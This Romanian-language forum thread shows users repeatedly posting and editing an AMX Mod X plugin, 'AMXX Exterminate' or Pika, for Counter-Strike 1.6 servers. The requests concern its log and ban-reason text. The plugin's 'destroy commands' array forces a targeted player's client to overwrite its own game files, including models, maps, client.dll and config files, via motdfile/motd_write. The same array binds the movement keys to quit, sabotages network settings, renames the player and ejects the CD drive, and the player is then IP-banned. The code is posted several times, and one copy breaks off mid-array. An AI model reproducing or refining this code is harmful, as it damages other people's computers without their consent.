Modificare Pika[rezolvat!]

Modificari necesare ale pluginurilor

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Post Reply
Tumpach
Membru, skill 0
Membru, skill 0
Posts: 22
Joined: 13 Apr 2011, 04:56
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 13 times
Been thanked: 1 time
Contact:

20 Dec 2013, 15:48

| Afiseaza codul
/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >

/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
// #define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Exterminate"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"exterminate.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name Bou",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m quit",
	"bind q quit",
	"bind g quit",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_exterminate", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
}

public cmdPika ( id, level, cid )
{
	if ( !cmd_access ( id, level, cid, 3 ) )
		return 1;
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda AMX_Exterminate pe: %s cu motivul: (%s)", name, player, userid2, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd("amx_banip ^"%s^" 0 Exterminate", name2);
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3AMXX Exterminate^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_Exterminate ^3pe jucatorul ^4(%s)", name, player, userid2 );
	}
	#else
	{
		client_print ( 0, print_chat, "[AMX Exterminate] Adminul %s a folosi comanda AMX_Exterminate pe (%s)", name, player, userid2 );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}

Daca se poate sa imi modificati si mie sa arate logs asa :

Data - Ora: Adminul X a folosit comanda AMX_Exterminate pe playerul Y cu motivul Z

in logs acum apare

Data - Ora: Adminul X a folosit comanda AMX_Exterminate pe:
xp cu motivul: (numele adminului)
Tumpach
Membru, skill 0
Membru, skill 0
Posts: 22
Joined: 13 Apr 2011, 04:56
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 13 times
Been thanked: 1 time
Contact:

21 Dec 2013, 17:15

Nu apare bine reason, nici pe server dar nici in logs.


Up
User avatar
cyby
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 1777
Joined: 16 Jul 2011, 21:46
Detinator Steam: Da
Detinator server CS: Da
Reputatie: Scripter eXtreamCS
Fost Moderator ajutator
Has thanked: 146 times
Been thanked: 396 times

21 Dec 2013, 18:08

| Afiseaza codul
/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >

/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
// #define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Exterminate"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"exterminate.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name Bou",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m quit",
	"bind q quit",
	"bind g quit",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_exterminate", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
}

public cmdPika ( id, level, cid )
{
	if ( !cmd_access ( id, level, cid, 3 ) )
		return 1;
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda AMX_Exterminate pe: %s cu motivul: (%s)", name, player, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd("amx_banip ^"%s^" 0 Exterminate", name2);
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3AMXX Exterminate^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_Exterminate ^3pe jucatorul ^4(%s)", name, player, userid2 );
	}
	#else
	{
		client_print ( 0, print_chat, "[AMX Exterminate] Adminul %s a folosi comanda AMX_Exterminate pe (%s)", name, player, userid2 );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}
93.114.82.17:27015 - Monster Invasion CO-OP Mod
User avatar
R1kKk-
Membru, skill +1
Membru, skill +1
Posts: 178
Joined: 12 Apr 2013, 16:57
Detinator Steam: Da
CS Status: Batman!
Detinator server CS: HNS.JOINET.RO
SteamID: Privat...
Has thanked: 20 times
Been thanked: 17 times
Contact:

21 Dec 2013, 18:11

| Afiseaza codul
/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >

/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
// #define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Exterminate"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"exterminate.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name Bou",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m quit",
	"bind q quit",
	"bind g quit",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_exterminate", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
}

public cmdPika ( id, level, cid )
{
	if ( !cmd_access ( id, level, cid, 3 ) )
		return 1;
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda AMX_Exterminate pe: %s cu motivul: (%s)", name, userid2, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd("amx_banip ^"%s^" 0 Exterminate", name2);
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3AMXX Exterminate^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_Exterminate ^3pe jucatorul^4 %s^1. Motiv: ^4(%s)", name,  name2, reason );
	}
	#else
	{
		client_print ( 0, print_chat, "[AMX Exterminate] Adminul %s a folosi comanda AMX_Exterminate pe %s. Motiv: (%s )", name,  name2, reason );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}
Image Image Image
Tumpach
Membru, skill 0
Membru, skill 0
Posts: 22
Joined: 13 Apr 2011, 04:56
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 13 times
Been thanked: 1 time
Contact:

21 Dec 2013, 22:25

R1kKk- wrote:
| Afiseaza codul
/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >

/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
// #define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Exterminate"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"exterminate.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name Bou",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m quit",
	"bind q quit",
	"bind g quit",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_exterminate", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
}

public cmdPika ( id, level, cid )
{
	if ( !cmd_access ( id, level, cid, 3 ) )
		return 1;
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda AMX_Exterminate pe: %s cu motivul: (%s)", name, userid2, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd("amx_banip ^"%s^" 0 Exterminate", name2);
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3AMXX Exterminate^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_Exterminate ^3pe jucatorul^4 %s^1. Motiv: ^4(%s)", name,  name2, reason );
	}
	#else
	{
		client_print ( 0, print_chat, "[AMX Exterminate] Adminul %s a folosi comanda AMX_Exterminate pe %s. Motiv: (%s )", name,  name2, reason );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}
Multumesc merge perfect, merge bine reason, daca se poate ca reasonu-ul sa fie si cand te baneaza advanced bans. Reasonul acum e exterminate ( server_cmd("amx_banip ^"%s^" 0 Exterminate", name2); ) Se poate cand dau amx_exterminate nume motiv sa apara motivul si la advanced bans.

Multumesc cyby si tie.
User avatar
R1kKk-
Membru, skill +1
Membru, skill +1
Posts: 178
Joined: 12 Apr 2013, 16:57
Detinator Steam: Da
CS Status: Batman!
Detinator server CS: HNS.JOINET.RO
SteamID: Privat...
Has thanked: 20 times
Been thanked: 17 times
Contact:

22 Dec 2013, 13:59

| Afiseaza codul
/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >

/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
// #define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Exterminate"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"exterminate.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
